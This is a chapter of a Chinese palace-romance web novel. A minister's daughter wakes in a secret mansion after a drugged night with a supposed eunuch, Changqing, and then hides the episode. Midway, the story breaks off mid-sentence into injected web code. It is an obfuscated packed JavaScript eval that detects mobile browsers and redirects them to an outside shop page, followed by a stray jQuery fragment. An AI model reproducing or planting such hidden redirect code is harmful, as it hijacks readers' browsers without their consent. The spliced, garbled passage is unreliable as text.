旭日东升,朝霞满天。
林新月醒来时,已经是日上三竿了。
她睫毛轻颤,缓缓睁开眼,眼神空落落地望向床顶,视线里是全然陌生的一切。
她略微动了动,然后完全僵住了,她感觉到自己全身酸软地像是散了架。
尤其是那个地方,稍微一动就会带起一阵又酸又麻的异样感受,让她瞬间清醒。
昨晚的记忆一点点回笼,然后汹涌而来......
那杯酒,她软倒的身体,长青突然出现的手,马车上她不知羞耻地攀上他的肩颈。
还有......
林新月忍着身体的不适,缓缓起身,打量着眼前这个宽敞雅致的房间。
然后,她看见了长青。
他背对着她,坐在屏风后面的椅子上,依旧是那身藏蓝色的太监服制。
让林新月有一瞬间的恍惚。
听到她醒来的动静,长青倒了杯水,然后起身走到床边坐下。
长青没有说话,只是坐在床边静静地看着她。
林新月的脸色从迷茫到清醒,从清醒到僵硬,再从僵硬到一点点红透。
她慌乱地移开视线,不知该如何是好。
“喝水。”
长青将水杯递到她面前,声音依旧无波无澜,眼底深处残留着未尽的欲色。
林新月接过水杯,小口小口地喝着,仍是不敢看他。
喝完水,她感觉喉咙舒服一些,才轻声问道:“你......你昨夜,为何不送我回府?”
林新月甚至没有问他为什么不是太监,也没有问他昨夜发生了什么。
她问的是,为什么不送她回府。
长青垂眸看着她明明慌乱至极,却强装镇定的模样。
“送你回府?”他的语气坦然:“你倒是想的简单,让相府的人发现他们的大小姐中了这种腌臜药,你的名声还要不要了?”
“况且......昨晚的药性极为猛烈,寻常大夫未必解得干净,反受其害。”
他说的确是实话。
只不过他没有说出口的是,既然此药无解,那他不想假手于人。
“至少在这里,你是安全的。”长青看向她的眼睛,一字一顿道:“昨夜之事,除了你我,不会再有第三个人知道。”
林新月低头沉默许久,想说什么,却发现无从反驳。
是的,至少在所有人眼里,他是太监。
是最不可能与她有牵连的人。
“不管如何,昨夜是你救了我。”
她的声音已经稳了下来,虽还带着几丝颤意,但比方才平静了许多:“这件事只是我们两个人的秘密。”
她略微迟疑地继续道:“你放心,你的秘密,我也不会说出去的。”
长青的目光微微一凝。
林新月的话里有隐约的暗示,她企图用这种互有把柄的制衡方式,划清界限。
她的确比他想象中更敏锐,也更懂得如何在这种荒唐境地下保护自己。
只是这试图将失控拉回平衡的举动,反而让他看到了她心底的慌乱与无措。
长青沉默了片刻,饶有兴致地看向她,语气戏谑。
“姑娘倒是思虑周全。”
他抬起手,用指尖轻抚着她微红的眼角,动作狎昵且危险。
林新月的身体猛然僵住,却没有躲。
长青倾身凑近,嘴唇刻意地贴上她已经红透的耳廓:“不过有些秘密一旦共享,就不是那么容易划清的了......”
如此暧昧不清的话语和动作,无声地打破了林新月试图在两人之间建立的脆弱平衡。
然后长青站起身,从一旁拿过一套寻常富家女子穿的衣服。放在床边。
“你先洗漱更衣,半个时辰后,会有马车送你回相府。”
他没有再看林新月,转身出了房间。
林新月坐在床上,望着那道消失的藏蓝色身影,心中忐忑又怅然。
片刻后,有下人进来伺候她洗漱更衣。
是个有些年纪的嬷嬷,头发已经有些花白。
林新月有一肚子话想问,问这里是哪里,问这宅子的主人是不是长青。
可那嬷嬷始终低着头,完全不想跟她有任何交流的样子。
不过嬷嬷做事倒是极为妥帖,水温正好,帕子递得及时,连她多看了一眼的杯子,都很快添上了新茶。
林新月便也不再开口。
但很快她发现,自己头上的那支山茶花簪竟然不见了!
那可是大皇子特地送予她的,珍贵异常。
她急得团团转,还是忍不住问了出来,可那老嬷嬷只摇了摇头,仍旧不言不语地望着她,
林新月不好再追问,她自行在屋子里找了许久。
可惜一无所获,只能作罢。
因着找簪子,她已经耽搁了好些时间。她抓紧时间穿戴好衣服,出了房门。
院子里,几个下人正各自做着手里的事,扫地的扫地,浇花的浇花,偶尔需要交流便互相打着手势比划几下,又迅速低下头去。
从头到尾,没有一个人发出声音。
林新月突然意识到——
这院子里的所有人,似乎都是哑巴。
此刻日光正盛。
她站在这座寂静到可怖的庭院中央,只觉得背脊发凉。
她深吸一口气,快步离开了庭院。
马车已经在门外等候,车夫拉开帘子,同样是一言不发。
林新月钻进马车里,等帘子放下,她才勉强放松下来。
------------
午后,马车到了相府。
远远地,她就望见彩云正站在门旁的石狮子后面,时不时探出半个脑袋往街口张望,又不敢太招摇的样子。
见林新月掀开帘子下车,彩云小跑着迎上去扶她下来。
“姑娘!”彩云小声喊她,一副欲言又止的模样,眼眶都红了:“您……奴婢真是急得不知怎么办才好……”
林新月用眼神示意她不要多话。
主仆二人一副刚从宫里回来的模样,神色如常地进了相府。
此时正值午后,父母正在房里小睡。
等到了闺房,待彩云关好门,林新月才放心开口:“你怎么回相府了,昨夜宫里如何?”
彩云压低声音凑到林新月耳边:“昨夜你们走了之后,大概三更天的样子,就听见明月阁外头有人在徘徊,奴婢吓得不敢出声,也不敢点灯,只缩在角落里听动静。好在......”
她后怕地拍了拍胸口:“好在那人大概是见屋里没动静,守了一个多时辰,便散了。”
她边说着边捏着帕子拭泪,显然是被昨晚的事情吓得不轻。
“今日......今日是长青公公的人来传话,让奴婢在相府门口等您,幸好......”
林新月有些惊讶。
刚才回相府的路上,她还想着彩云不在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381176|200185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身边,见了母亲少不得要费些口舌解释,却没料到,长青竟连这一步都安排好了。
彩云见她不出声,又小心翼翼地凑近了些:“小姐,您昨晚去哪儿了?”
“去了郎中那里。”林新月答道:“昨夜那样不舒服,又不好惊动府里人,便去了郎中那里针灸了一夜,才勉强好些。”
彩云不做他想,点了点头:“小姐好些了就好,奴婢昨晚真是吓死了。”
林新月看着她那副模样,轻轻叹了口气。
“彩云,”她放软了语气:“昨夜之事,就当我一直待在明月阁,今日咱们主仆二人才一同回府。记住了?”
彩云收住了眼泪,再度点头。
----
回到相府之后,林新月便对外称病了几日。
她把自己关在房里,不见客不出门,连膳食都是让人送到门口。对外只说是受了风寒,不便见人。
她对着铜镜发呆,身上的那些痕迹一天天变浅,几乎已经看不见了。
可心里的痕迹,却一天天加深。
那个问题她问了自己无数次:长青为何能在深夜带她出宫?又为何能在宫外有那样一处隐秘的宅院?
她每次都强迫自己不去深想,反复告诫自己,只当他是众多太监中,恰巧未净身的漏网之鱼。
可越是这样,答案就越是清晰。
他绝不是普通的太监。
如今,她被迫知道了这个秘密,却是因为救她。
他本可以把她直接送回相府,任由她自生自灭,才是最明智的选择。
可他却将她带进那处无人知晓的宅院,把自己最致命的秘密,亲手交到她手里。
她不知道他的目的,她只知道,从今往后,她的命和他的秘密,恐怕是绑在一起了。
她闭上眼,只当那夜的疯狂,是一场荒唐的梦。
她必须这样想。
因为眼下有个更重要的问题需要她去思量。
那就是,她已非完璧之身。
在这个世道,这是足以摧毁一个女子一生的污点,若是被人知道,她会成为整个京城的笑柄,让相府蒙羞。
正当她无比焦虑的时候,门外传来了彩云的通传声。
“小姐,太后娘娘身边的琴咕咕来了,说是奉太后之命来探望姑娘的病。”
林新月应了一声,稍作梳理之后便迎了出去。
琴姑姑是太后身边的老人了,说话办事向来周全妥帖,她坐在厅中,见林新月出来,便笑着起身,嘘寒问暖了好一阵子。
林新月一一笑着应答,时不时地轻咳几声,看起来确是一副大病初愈的模样。
临走时,琴姑姑又开口道:“太后娘娘近日总念着姑娘,说是好些日子不见,怪想的。还有大皇子殿下,也是问了好几回呢,盼着姑娘早日好了,能进宫说说话。”
林新月的笑容僵在脸上,她想起了父亲曾说的话。
父亲虽从未明说,可她知道,父亲一直希望她能嫁入皇家,成为太子妃,成为林家最大的倚仗。
而谢景是目前最有可能的人选。
况且太后有意,谢景自己也倾心于她。这一切本该顺理成章。
可如今……
琴姑姑走后,她又独自在厅中坐了许久。
她知道,她必须尽快想办法解决掉这个隐患,无论付出什么样的代价。
窗外的日光从明亮渐渐变得昏黄,林新月的脸却一直埋在阴影里,看不清表情。